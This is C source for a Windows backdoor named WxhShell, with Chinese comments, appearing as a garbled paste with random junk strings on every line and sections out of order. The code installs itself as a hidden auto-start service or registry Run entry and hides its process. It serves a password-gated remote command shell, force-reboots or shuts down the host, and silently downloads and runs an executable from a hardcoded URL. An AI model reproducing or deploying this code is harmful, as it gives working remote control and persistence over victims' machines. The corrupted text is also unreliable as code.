    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t4UK~ {gh  
    if(Boot(SHUTDOWN)) LA;f,CQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2!-Q!c`y  
    else { `W1uU=c  
    closesocket(wsh); KMi$0+  
    ExitThread(0); GwF8ze+cH  
    } [;ZCq!)>  
    break; s]99'Q",  
    } .9x* YS  
  // 获取shell lU!_V%n  
  case 's': { pZS]i "  
    CmdShell(wsh); ^|Z'}p|&  
    closesocket(wsh); a&JY x  
    ExitThread(0); 3}\z&|  
    break; z` 6$p1U  
  } y%vAEQ2j=  
  // 退出 `0ym3}(O  
  case 'x': { !T<,fR+8X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X(/fE?%;  
    CloseIt(wsh); E\D,=|Mul  
    break; Zo2+{a  
    } H4`>B>\  
  // 离开 .pPuBJL]<  
  case 'q': { -}<Ru)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wzy[sB274  
    closesocket(wsh); J#C4A]A  
    WSACleanup(); +#wVe  
    exit(1); ?n{m2.H  
    break; +/celp  
        } WwsNAJ  
  } 1f+A_k/@  
  } ,X3D< wl  
3A ^AEO  
  // 提示信息 kkZ}&OXS;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KH#z =_  
} ~9o@1TO:v  
  } _5S0A0  
KC}G_"f.$  
  return; gnZ#86sO  
} J=Kv-@I>E  
Mw,]Pt6~i  
// shell模块句柄 s/@uGC0>  
int CmdShell(SOCKET sock) pBe1:  
{ dCM &Yf}K  
STARTUPINFO si; ]R\L~Kr  
ZeroMemory(&si,sizeof(si)); 95IP_1}?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N<SW $ o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =XQGg`8<LB  
PROCESS_INFORMATION ProcessInfo; j_,/U^Ws|f  
char cmdline[]="cmd"; XE_Lz2H`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EXeV @kg  
  return 0; yg8= G vO  
} }JtcAuQt  
3(K.:376  
// 自身启动模式 rNhS\1-  
int StartFromService(void) rF[-4t %  
{ c*\i%I#f2  
typedef struct j7E;\AZ^  
{ vKW!;U9~P  
  DWORD ExitStatus; k(Xs&f `  
  DWORD PebBaseAddress; ^`#7(S)a/  
  DWORD AffinityMask; Y.I~.66s  
  DWORD BasePriority; rr,A Vw  
  ULONG UniqueProcessId; .s4vJKK0  
  ULONG InheritedFromUniqueProcessId; ;/V])4=  
}   PROCESS_BASIC_INFORMATION; 6, j60`f)  
 kVZs:  
PROCNTQSIP NtQueryInformationProcess; 3c#^@Bj(-e  
H.iCYD_=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -flcB|I`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f {2UL ?y  
+a,#BSt  
  HANDLE             hProcess; dpE^BWv3  
  PROCESS_BASIC_INFORMATION pbi; h{"SV*Xpk/  
82 |^o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Ia.$,k9  
  if(NULL == hInst ) return 0; J#H,QYnf(L  
yz0#0YG7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5-0&`,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8fi'"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OU` !c[O  
E8PwA.  
  if (!NtQueryInformationProcess) return 0; *MfH\X379  
?4wl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CB9:53zK9  
  if(!hProcess) return 0; #\N8E-d  
/zh:7N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ie!">8."  
}BW&1*M{  
  CloseHandle(hProcess); .!^OmT,u  
dY. X/f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eN5F@isy  
if(hProcess==NULL) return 0; VWt=9D;  
|g \ _xl  
HMODULE hMod; \kV|S=~@  
char procName[255]; IHCxM|/k(M  
unsigned long cbNeeded; LtwfL^#  
88:YU4:l`N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VDv.N@ ) 7  
*ze/$vz-  
  CloseHandle(hProcess); 8(- 29  
45wqX h  
if(strstr(procName,"services")) return 1; // 以服务启动 _~tF2`,Y_p  
Ha]vG@?+  
  return 0; // 注册表启动 416}# Mk  
} Pbbi*&i  
=3% GLj  
// 主模块 3%Q<K=jy  
int StartWxhshell(LPSTR lpCmdLine) |Wck-+}U  
{ ,_V/W'  
  SOCKET wsl; z@ZI$.w  
BOOL val=TRUE; J"h2"$v,  
  int port=0; 7g Ou|t  
  struct sockaddr_in door; pk'd& .  
uj\&-9gEi  
  if(wscfg.ws_autoins) Install(); 4VvE(f  
Y5ei:r|^  
port=atoi(lpCmdLine); cGo_qR/B(>  
hFtjw6  
if(port<=0) port=wscfg.ws_port; n|T$3j)  
yYe>a^r4R  
  WSADATA data; ?Qd`Vlp7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d14@G4#Bd  
)@U~Li/+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HLthVc w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =d@)*W 6  
  door.sin_family = AF_INET; _7u&.l<;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E}%Pwr  
  door.sin_port = htons(port); 5cM%PYU4:v  
^vVAuO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SJc*Rl>  
closesocket(wsl); 3NZK$d=4  
return 1; %*<Wf4P"  
} CU c,  
RWu< dY#ym  
  if(listen(wsl,2) == INVALID_SOCKET) { $L|+Z>x  
closesocket(wsl); w AdaP9h  
return 1; N`,,sw  
} w(S&X"~  
  Wxhshell(wsl); `'r~3kP*NT  
  WSACleanup(); .i?{h/9y  
~ [/jk !G  
return 0; u f<%!=e  
W:j9KhvT  
} F#Pn]  
">8oF.A^  
// 以NT服务方式启动 Z/GSR$@lI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dEkST[Y3  
{ dR>$vbjh1Z  
DWORD   status = 0; gyy}-^`F  
  DWORD   specificError = 0xfffffff; 9' H\-  
W:WRG8(F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3 %r*~#nz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A? jaS9 &)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :.BjJ2[S  
  serviceStatus.dwWin32ExitCode     = 0; ; %AgKgV  
  serviceStatus.dwServiceSpecificExitCode = 0; Rq",;,0ZJ  
  serviceStatus.dwCheckPoint       = 0; MVQ6I/EA4  
  serviceStatus.dwWaitHint       = 0; =D?HL?  
zmuR n4Nv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MYxuQ|w  
  if (hServiceStatusHandle==0) return; DuAix)#FN9  
pnuwj U-  
status = GetLastError(); d'Dd66  
  if (status!=NO_ERROR) f2KH&j>~r  
{ P A*U\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q>\DM'{:4  
    serviceStatus.dwCheckPoint       = 0; OFcP4hDi  
    serviceStatus.dwWaitHint       = 0; =SW<Vhtb  
    serviceStatus.dwWin32ExitCode     = status; %@aC5^Ovy+  
    serviceStatus.dwServiceSpecificExitCode = specificError; Wy1.nn[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x}` )'a[  
    return; m,6u+Z ,  
  } .A/xH x  
8{icY|:MTN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .DnG}884  
  serviceStatus.dwCheckPoint       = 0;  cFjD*r-  
  serviceStatus.dwWaitHint       = 0; (<Cg|*s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (<H@W/0$  
} tK+JmbB\  
?hp,h3s;n$  
// 处理NT服务事件,比如:启动、停止 DtS7)/<T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I+^iOa  
{ 3T 0'zJ2f  
switch(fdwControl) /UR;,ts  
{ >*^SQ{9  
case SERVICE_CONTROL_STOP: Z;R/!Py.  
  serviceStatus.dwWin32ExitCode = 0; S;#7B?j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !-SI &qy  
  serviceStatus.dwCheckPoint   = 0; ?caHS2%?ae  
  serviceStatus.dwWaitHint     = 0; _x$Eq: i  
  { 6I _4{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cV`NQt<W  
  } v$;URF%^  
  return; a 7b1c!  
case SERVICE_CONTROL_PAUSE: U: <  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?< Ma4yl</  
  break; |Z o36@s  
case SERVICE_CONTROL_CONTINUE: &`]T# ">  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RA+M.  
  break; X}QcXc.d  
case SERVICE_CONTROL_INTERROGATE: [oXr6M:  
  break; dgByl-8Q  
}; 8{&.[S C7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %l%2 hvGZ  
} ?d3<GhzlR3  
w&hCt c  
// 标准应用程序主函数 [%Z{Mp'g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @o<B>$tbu4  
{ VGCd)&s  
&[PA?#I`  
// 获取操作系统版本 E3CwA8)k  
OsIsNt=GetOsVer(); KNF{NFk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); < jX5}@`z  
*xx)j:Sc2  
  // 从命令行安装 r0\C2g_X  
  if(strpbrk(lpCmdLine,"iI")) Install(); {8;}y[R  
$.ctlWS8l{  
  // 下载执行文件 [ 'B u  
if(wscfg.ws_downexe) { ]h`d>#Hw!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1p-<F3;  
  WinExec(wscfg.ws_filenam,SW_HIDE); qckRX+P`  
} %82:?fq  
OwDwa~  
if(!OsIsNt) { (enOj0  
// 如果时win9x,隐藏进程并且设置为注册表启动 Efpj u(   
HideProc(); an Kflt3  
StartWxhshell(lpCmdLine); ?ZhBS3L  
} \mt Y_O  
else `Xi)';p  
  if(StartFromService()) bXM&VW?OP  
  // 以服务方式启动 \4fuC6d2  
  StartServiceCtrlDispatcher(DispatchTable); Cf v1nU W  
else \2Q#'  
  // 普通方式启动 R=iwp%c(  
  StartWxhshell(lpCmdLine); ?2gXF0+~Y2  
r. rzU  
return 0; tp\d:4~R  
} hfvC-f97L  
;jKLB^4nX  
fNrpYR X  
Psf{~ (Ii  
=========================================== zCS }i_ p  
cw_B^f8^  
VEL!-e^X&  
3r?T|>|  
3n_t^=  
,RAP_I!_x  
" a]8W32  
XHJ/211  
#include <stdio.h> 6jov8GIAt  
#include <string.h> J0t_wM Ja  
#include <windows.h> *~UK5Brf1  
#include <winsock2.h> z4]z3U<}3]  
#include <winsvc.h> 3]&le[.  
#include <urlmon.h> `0 W+(9}  
$9 G".T  
#pragma comment (lib, "Ws2_32.lib") d]?fL&jr  
#pragma comment (lib, "urlmon.lib") 0yb9R/3.  
zTn.#-7y  
#define MAX_USER   100 // 最大客户端连接数 --vJR/-  
#define BUF_SOCK   200 // sock buffer +5:9?&lH  
#define KEY_BUFF   255 // 输入 buffer }JUc!cH8z  
,OkI0[  
#define REBOOT     0   // 重启 GN+,9  
#define SHUTDOWN   1   // 关机 n (Um/  
sr<\fW  
#define DEF_PORT   5000 // 监听端口 lI9|"^n7F  
ZV-Yq !|t  
#define REG_LEN     16   // 注册表键长度 ,L\KS^>  
#define SVC_LEN     80   // NT服务名长度 9S5C{~P4  
O4^' H}*  
// 从dll定义API JFkx=![  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )[E7\pc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ftV~!r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @,]$FBT"5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !Okl3 !fC  
ny<D1>{90  
// wxhshell配置信息 M'NOM>8  
struct WSCFG { T!1XL7  
  int ws_port;         // 监听端口 1CUI6@Cz)  
  char ws_passstr[REG_LEN]; // 口令 @G|z _  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8K\S]SZ  
  char ws_regname[REG_LEN]; // 注册表键名 E6?0/"  
  char ws_svcname[REG_LEN]; // 服务名 a{.-qp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }C JK9*Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "2"2qZ*h}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8&7zV:=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no AbX#wpp!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  "'Q~&B;@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +4[Je$qYa  
DeQ ZDY //  
}; J[\8:qE  
E8aD[j[w  
// default Wxhshell configuration V#~.n ;d  
struct WSCFG wscfg={DEF_PORT, &i *e&{L7  
    "xuhuanlingzhe", B\~(:(OPM]  
    1, QC1\Sn/  
    "Wxhshell", 2FN#63  
    "Wxhshell", ]];LA!n  
            "WxhShell Service", IKp/xj[!  
    "Wrsky Windows CmdShell Service", mU>lm7'  
    "Please Input Your Password: ",  ]C-a[  
  1, -_>E8PhM  
  "http://www.wrsky.com/wxhshell.exe", tYhNr  
  "Wxhshell.exe" ?{OU%usQwE  
    }; T>5N$i  
Et&PzDvU  
// 消息定义模块 Ol8Yf.e_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pO N@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z..s /K {  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7K24sHw;%  
char *msg_ws_ext="\n\rExit."; :SN/fY  
char *msg_ws_end="\n\rQuit."; [3v&j_  
char *msg_ws_boot="\n\rReboot..."; OXV9D:bIa  
char *msg_ws_poff="\n\rShutdown..."; G~f|Sx  
char *msg_ws_down="\n\rSave to "; 22EI`}"J  
b C"rQJg  
char *msg_ws_err="\n\rErr!"; k !g%vx  
char *msg_ws_ok="\n\rOK!"; ca'c5*Fs  
C]krJse@  
char ExeFile[MAX_PATH]; 6'.CW4L  
int nUser = 0; e8)8QmB{o  
HANDLE handles[MAX_USER]; }x"8v&3CM_  
int OsIsNt; jf=90eJc  
)kE1g&  
SERVICE_STATUS       serviceStatus; Bdib)t[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R`%O=S*]  
0BP=SCi  
// 函数声明 8~iggwZ~h"  
int Install(void); PWS5s^WM  
int Uninstall(void); Aj"fkY|Q  
int DownloadFile(char *sURL, SOCKET wsh); lt{"N'Gw6  
int Boot(int flag); S\@U3|Q5  
void HideProc(void); ~mT([V  
int GetOsVer(void); X D \;|  
int Wxhshell(SOCKET wsl); q)RTy|NJ^  
void TalkWithClient(void *cs); HQc^ybX5  
int CmdShell(SOCKET sock); `OWwqLoeA  
int StartFromService(void); %eJE@$  
int StartWxhshell(LPSTR lpCmdLine); L#MMNc+  
0w6"p>s>c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2-rfFqpe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F441K,I  
odTIz{9qG  
// 数据结构和表定义 N{K[sXCW  
SERVICE_TABLE_ENTRY DispatchTable[] = :MF+`RpL  
{ 9i!|wkx  
{wscfg.ws_svcname, NTServiceMain}, W'5c%SI  
{NULL, NULL} zCj#Nfm  
}; 5&}p'6*K  
s<8|_Dt  
// 自我安装 X7)B)r}AG  
int Install(void) VW**N}1#C  
{ xsx0ZovhY  
  char svExeFile[MAX_PATH]; C=DC g  
  HKEY key; .s3y^1C  
  strcpy(svExeFile,ExeFile); E~`<n]{G-C  
LC0g"{M  
// 如果是win9x系统,修改注册表设为自启动 ]KQBek#DD  
if(!OsIsNt) { o_.`&Q6n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vk3C&!M<a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Bv^5L>JZ/  
  RegCloseKey(key); .Q DeS|l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P5Pb2|\*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R7Z!  
  RegCloseKey(key); piAFxS<6  
  return 0; v.>95|8  
    } [9~6, ;6  
  } ov|pXi<e  
} WCg&*  
else { Q&&oP:4~X*  
^x}k1F3  
// 如果是NT以上系统,安装为系统服务 B?;P:!/1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Jy-V\.N>s  
if (schSCManager!=0) 8LGNV&Edg  
{ OJ<V<=MYZ  
  SC_HANDLE schService = CreateService N?c!uO|h|  
  ( +LaR_n[  
  schSCManager, (CY#B%*  
  wscfg.ws_svcname, g 4lk  
  wscfg.ws_svcdisp, p9~$}!ua  
  SERVICE_ALL_ACCESS, }%S#d&wh$_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w!52DBOe+  
  SERVICE_AUTO_START, < !PbD  
  SERVICE_ERROR_NORMAL, p^ )iC&*0  
  svExeFile, DP!~WkU~  
  NULL, h:<?)g~U  
  NULL, 'A'[N :i  
  NULL, ZP"Xn/L  
  NULL, Z (C0+A\  
  NULL bfKF6  
  ); =dY!-#yg!  
  if (schService!=0) KKNQ+'?  
  { nRheByYm  
  CloseServiceHandle(schService); \s,~|0_V  
  CloseServiceHandle(schSCManager); $u::(s} x<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mN1n/LNi  
  strcat(svExeFile,wscfg.ws_svcname); '~AR|8q?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tIo b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0!q@b  
  RegCloseKey(key); yjIA`5^  
  return 0; kB_T9$0e#  
    } =$\9t$A  
  } |6b&khAM  
  CloseServiceHandle(schSCManager); Ko %e#q-  
} Si-Q'*Y=  
} 4.q^r]m*  
*+j r? |  
return 1; MD[;Ha  
} )^j62uv  
>ui;B$=  
// 自我卸载 =v=u+nO  
int Uninstall(void) l|K$6>80  
{ 75H;6(7  
  HKEY key; 1 abQoe  
B$_-1^L e  
if(!OsIsNt) { !qug^F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #?7g_  
  RegDeleteValue(key,wscfg.ws_regname); ?~tx@k$;Es  
  RegCloseKey(key); y`J8hawp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6K5mMu#4  
  RegDeleteValue(key,wscfg.ws_regname); qzi i[Mf  
  RegCloseKey(key); 3?<LWrhV3  
  return 0; P$6 Pe>3  
  } :d wP  
} Lm'+z97  
} oh,29Gg  
else { FA}y"I'W  
;.3 {}.Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3shd0q<  
if (schSCManager!=0) QNGp+xUHJ9  
{ kp^q}iS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ceew~n{  
  if (schService!=0) !>EK %OO  
  { m`Pk)c0  
  if(DeleteService(schService)!=0) { Sn[/'V^$a  
  CloseServiceHandle(schService); )&93YrHgC  
  CloseServiceHandle(schSCManager); v>0} v)<v  
  return 0; wx_j)Wij6  
  } - 9a4ej5  
  CloseServiceHandle(schService); fxc?+<P  
  } -{NP3zy  
  CloseServiceHandle(schSCManager); % \Mc6  
} yBfX4aH:`  
} $ U-#woXa  
5'n$aFqI  
return 1; VI?kbq jo  
} "&@{f:+  
K<M WiB&  
// 从指定url下载文件 =LKf.@]#  
int DownloadFile(char *sURL, SOCKET wsh) >FqU=Q  
{ T%w5%{dqJ  
  HRESULT hr; Y-~ M kB  
char seps[]= "/"; OOnhT  
char *token; zEYQZywc  
char *file; HSEz20s  
char myURL[MAX_PATH]; ]E#W[6'VtB  
char myFILE[MAX_PATH]; hpYW1kfQl  
"b\@.7".  
strcpy(myURL,sURL); u4ZOHy_O^  
  token=strtok(myURL,seps); 2W }j bOy  
  while(token!=NULL) u=7 #_ZC9L  
  { piXL6V@c  
    file=token; >~L0M  
  token=strtok(NULL,seps);  ?Zc(Zy6  
  } 3zMaHh)mj  
)C0d*T0i  
GetCurrentDirectory(MAX_PATH,myFILE); J>1%* Tz  
strcat(myFILE, "\\"); O"J"H2}S  
strcat(myFILE, file); ^ LVKXr  
  send(wsh,myFILE,strlen(myFILE),0); XC4wm#R  
send(wsh,"...",3,0); GIhFOK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'u6n,yRm  
  if(hr==S_OK) a&u!KAQ  
return 0; %uvA3N>  
else $f+cd8j?o  
return 1; 2Q;rSe._`  
C=JS]2W2  
} x|)pZa  
^7YZ>^  
// 系统电源模块 mQ2=t%  
int Boot(int flag) */4hFD {  
{ <TgVU.*  
  HANDLE hToken; g1@rY0O  
  TOKEN_PRIVILEGES tkp; -#,4rN#  
1P WTbd l  
  if(OsIsNt) { ZP ]Ok  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #szIYyk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ezr q2/~Q  
    tkp.PrivilegeCount = 1; 0rxGb} b*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WAJ KP"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q;GcV&f;f  
if(flag==REBOOT) { u-*z#e_L0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IUz`\BO4  
  return 0; S2>$S^[U  
} HQMug  
else { /z:1nq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o $'K}U  
  return 0; 0S$TLbx  
} ?RS4oJz,5g  
  } 0bOT&Z^  
  else { ua,!kyS  
if(flag==REBOOT) { #44}Snz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [}dPn61  
  return 0; tTT :r),}$  
} e@iz`~[  
else { V>c !V9w   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J+}z*/)|#  
  return 0; oWEzzMRz  
} m]c1DvQb  
} ()5X<=i  
H~bbkql  
return 1; H3( @Q^9  
} &joP-!"  
k]~$AaNq  
// win9x进程隐藏模块 Hz%<V *\{  
void HideProc(void) q>.C5t'Qx  
{ LIT`~D  
NDJP`FI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t:b}Mo0  
  if ( hKernel != NULL ) W j`f^^\HJ  
  { |Qn>K   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @r(3   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w+a5/i@  
    FreeLibrary(hKernel); wj5,_d)  
  } b*ja,I4  
;te( {u+  
return; 0[ (kFe  
} g!OcWy)7  
`26.+>Z7  
// 获取操作系统版本 bz.sWBugR  
int GetOsVer(void) Y^y:N$3$\  
{ [I/ZzDMX  
  OSVERSIONINFO winfo; |(CgX6 l3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >=;hnLu  
  GetVersionEx(&winfo); `U&'71B^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1L?d/j  
  return 1; 3#y`6e=5  
  else ,aIkiT  
  return 0; `G%h=rr^c  
} %evtIU<h  
kSEgq<i!  
// 客户端句柄模块 4p%^?L?  
int Wxhshell(SOCKET wsl) x,|fblQz  
{ trB-(B%5  
  SOCKET wsh;  VF g(:  
  struct sockaddr_in client; .[Qi4jm>`  
  DWORD myID; .&I!2F  
b_7LSp  
  while(nUser<MAX_USER) ~(B%E'  
{ "=LeHY=9  
  int nSize=sizeof(client); KtArV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c'mg=jH  
  if(wsh==INVALID_SOCKET) return 1; \:+ NVIN  
=woP~+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dI>cPqQ  
if(handles[nUser]==0) :jC$$oC].  
  closesocket(wsh); A[F_x*S  
else Pq@ -`sw  
  nUser++; e wWw  
  } gtT&97tT<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7P]i|Q{  
VTY #{  
  return 0; 1.TIUH1  
} &Pc.[k  
/1$u|Gs *  
// 关闭 socket Yq4nmr4  
void CloseIt(SOCKET wsh) cI/}r Z+  
{ b"nkF\P@Fj  
closesocket(wsh); f1sp6S0V\  
nUser--; $4qM\3x0,  
ExitThread(0); reM~q-M~o@  
} OR37  
V]m}xZ'?^  
// 客户端请求句柄 s_^N=3Si   
void TalkWithClient(void *cs) %@|)&][hO  
{ kUfbB#.5L  
%~kE,^  
  SOCKET wsh=(SOCKET)cs; YY(_g|;?8  
  char pwd[SVC_LEN]; 9c[bhGD?  
  char cmd[KEY_BUFF]; 6']G HDK  
char chr[1]; k'+y  
int i,j; d_ x jW  
MZxU)QW1  
  while (nUser < MAX_USER) { 1$`|$V1  
L\5:od[EP  
if(wscfg.ws_passstr) { ,Q.[Lc=w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g"kET]KP"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?%#no{9  
  //ZeroMemory(pwd,KEY_BUFF); 2%J] })  
      i=0; [:q J1^UU  
  while(i<SVC_LEN) { h7@%}<%  
RGkV%u^  
  // 设置超时 .J8 gW  
  fd_set FdRead; 0AF,} &$  
  struct timeval TimeOut; :Nwv &+  
  FD_ZERO(&FdRead); ] w0Y5H "  
  FD_SET(wsh,&FdRead); {47Uu%XT  
  TimeOut.tv_sec=8; Y3s8@0b3  
  TimeOut.tv_usec=0; mAET`B "  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (`4&Y-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L3'isaz&^  
 WFhppi   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9W_mSum  
  pwd=chr[0]; qnnRS  
  if(chr[0]==0xd || chr[0]==0xa) { B9$pG  
  pwd=0; [_(uz,'  
  break; :UAcS^n7h"  
  } />pAZa  
  i++; vK+!m~kDu  
    } .o,-a>jL  
G)c+GoK  
  // 如果是非法用户,关闭 socket <a&xhG}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G l2WbY  
}  R0F [  
,-8Xb+!8I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y?A*$6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b\zq,0%  
2(Yg',aMY-  
while(1) { ;' |CSjco  
>n(dyU@  
  ZeroMemory(cmd,KEY_BUFF); +nim47  
3gD <!WI  
      // 自动支持客户端 telnet标准   2X*n93AQi  
  j=0; r`.Bj0  
  while(j<KEY_BUFF) { j]` hy"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g{uiY|  
  cmd[j]=chr[0]; )EQI>1_  
  if(chr[0]==0xa || chr[0]==0xd) { m-+>h:1b|9  
  cmd[j]=0; FP7N^HVBG=  
  break; #<U@SMv  
  } qFLt/ >  
  j++; _qpIdQBo  
    } !q$>6P  
fe"w--v  
  // 下载文件 Aq7`A^1t$  
  if(strstr(cmd,"http://")) { )OucJQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0pl'*r*9  
  if(DownloadFile(cmd,wsh)) @g]+$Yj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \2#K {  
  else Pn4jI(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z_<NUPE  
  } Pth4_]US  
  else { f)gV2f0t  
Eza^Tbq%j?  
